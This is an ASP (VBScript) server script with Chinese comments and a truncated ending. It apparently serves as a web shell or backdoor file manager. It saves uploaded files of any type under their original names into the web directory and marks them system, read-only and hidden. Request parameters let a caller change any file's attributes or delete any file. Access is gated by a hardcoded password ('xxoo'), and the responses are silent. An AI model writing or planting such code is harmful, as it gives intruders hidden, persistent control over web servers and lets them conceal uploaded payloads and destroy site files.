% '------上传文件操作------ If request.QueryString("action")="upload" Then Call doUpload("./")'以原文件名保存到upload下面 "./"和当前文件同一路径,默认为upload End If Function doUpload(Byval savePath) Dim vData, vSplit, SplitStart, SplitEnd, ValueEnd, path, value Dim vdata1, Str, FormNameStart, FormNameEnd, FormName, FileNameStart, FileNameEnd, FileName, ContentType vData = request.BinaryRead(request.TotalBytes) SplitStart = instrb(vData,chrb(13) & chrb(10)) '找到分隔字符串的位置 vSplit = midb(vData, 1, SplitStart - 1) '取出分隔符 SplitEnd = instrb(vData,chrb(13) & chrb(10) & chrb(13) & chrb(10)) '找到文件数据的开始位置 '读出数据前面的描述部分,类似于 'Content-Disposition: form-data; name="file1"; filename="D:\TempFiles\a.jpg" 'Content-Type: image/pjpeg vdata1 = midb(vData,SplitStart + 2,SplitEnd - SplitStart - 2) str = BinToGB(vdata1) FormNameStart = instr(1,str,"name=""") + 6 FormNameEnd = instr(FormNameStart,str,"""") FormName = Mid(str,FormNameStart,FormNameEnd-FormNameStart) '读出表单名字 FileNameStart = instr(1,str,"filename=""")+10 FileNameEnd = instr(FileNameStart,str,"""") FileName = Mid(str,FileNameStart,FileNameEnd-FileNameStart) '读出文件在客户端的路径 FileName = Replace(FileName,"/","\") FileName = split(FileName,"\")(ubound(split(FileName,"\"))) '读出文件名字 SplitEnd = SplitEnd + 4 '数据真正开始的位置 ValueEnd = instrb(SplitEnd,vData,vSplit) '找到数据结束位置 value = midb(vData,SplitEnd,ValueEnd-SplitEnd-2) '取出数据 '保存文件的代码,因为stream直接写入value会出错,因此用adodb.recordset转换一下 Dim tmpStrm Set tmpStrm = server.CreateObject("adodb.stream") tmpStrm.mode=3 tmpStrm.type= 1 tmpStrm.open() Dim Info : Set Info = server.CreateObject("ADODB.Recordset") Info.Fields.Append "value", 205,-1 Info.open() Info.addNew() Info("value").appendChunk(value) tmpStrm.write(Info("value")) Info("value").appendChunk(null) Info.update() Info.Close() Set Info = Nothing '查找文件 Set fs=Server.CreateObject("Scripting.FileSystemObject") if fs.FileExists(server.MapPath(FileName)) then '判断文件是否存在 'response.write "该文件已存在" '设置文件属性(权限) Set fso = Server.CreateObject("Scripting.FileSystemObject") set f=fso.Getfile(Server.MapPath(FileName))'要设置属性的文件名 f.attributes = 0'先设置文件为可读写,在删除文件,删除成功后在上传覆盖文件 '设置文件属性(权限) fs.DeleteFile server.MapPath(FileName),true '删除文件 if fs.FileExists(server.MapPath(FileName)) then '判断文件是否存删除成功 response.write "" '这里是该文件已存在 else 'response.write "文件删除成功" ''这里是该文件不存在 tmpStrm.saveToFile server.MapPath(savePath) & "\" & FileName,2 '以原文件名保存到upload下面 //存放路径,为空表示当前路径,默认为upload if fs.FileExists(server.MapPath(FileName)) then '判断文件是否上传成功 response.write "" '设置文件属性(权限) Set fso = Server.CreateObject("Scripting.FileSystemObject") set f=fso.Getfile(Server.MapPath(FileName))'要设置属性的文件名 f.attributes = 7'设置文件属性,设置为:系统+只读+隐藏 '设置文件属性(权限) else response.write "" end if end if else tmpStrm.saveToFile server.MapPath(savePath) & "\" & FileName,2 '以原文件名保存到upload下面 //存放路径,为空表示当前路径,默认为upload if fs.FileExists(server.MapPath(FileName)) then '判断文件是否上传成功 response.write "" '设置文件属性(权限) Set fso = Server.CreateObject("Scripting.FileSystemObject") set f=fso.Getfile(Server.MapPath(FileName))'要设置属性的文件名 f.attributes = 7'设置文件属性,设置为:系统+只读+隐藏 '设置文件属性(权限) else response.write "" end if end if tmpStrm.close() Set tmpStrm = Nothing doUpload = FileName End Function '二进制转GB函数 Function BinToGB(Bin) Dim i,tAsc,str for i=1 to lenb(Bin) tAsc = ascb(midb(bin,i,1)) if tAsc<128 Then str = str & chr(tAsc) Else i = i+1 str = str & chr(clng("&H" & hex(tAsc) & hex(ascb(midb(bin,i,1))))) End if Next BinToGB = str End Function %> <% '------修改文件权限操作------ If request.QueryString("action")<>"upload" Then if request("wjsx") <> "" then fileName=request("fileName") '获取Post提交过来的文件名 wjsx=request("wjsx")'获取Post提交过来要改成的属性 Set fs=Server.CreateObject("Scripting.FileSystemObject") if fs.FileExists(server.MapPath(fileName)) then '判断文件是否存在 'response.write "该文件已存在" Set fso = Server.CreateObject("Scripting.FileSystemObject") set f=fso.Getfile(Server.MapPath(fileName))'要设置属性的文件名 if f.attributes <> wjsx then f.attributes = wjsx'设置文件属性 end if if f.attributes = 0 then response.write "" end if if f.attributes = 7 then response.write "" end if else response.write "" end if end if End If %> <% '------删除文件操作------ If request.QueryString("action")<>"upload" Then if request("attachPath") <> "" then attachPath=request("attachPath") '获取Post提交过来的文件名 Set fs=Server.CreateObject("Scripting.FileSystemObject") if fs.FileExists(server.MapPath(attachPath) ) then '判断文件是否存在 'response.write "该文件已存在" Set fso = Server.CreateObject("Scripting.FileSystemObject") set f=fso.Getfile(Server.MapPath(attachPath))'要删除的文件名 f.attributes = 0'先设置文件为可读写,在删除文件 fs.DeleteFile server.MapPath(attachPath) ,true '删除文件 if fs.FileExists(server.MapPath(attachPath) ) then '判断文件是否存删除成功 response.write "" '这里是该文件已存在 else response.write "" '这里是该文件不存在 end if else response.write "" end if end if End If %> <% on error resume next %> <% if request("pass")="xxoo" then '在这修改密码 session("pw")="go" end if %> <%if session("pw")<>"go" then %> <%="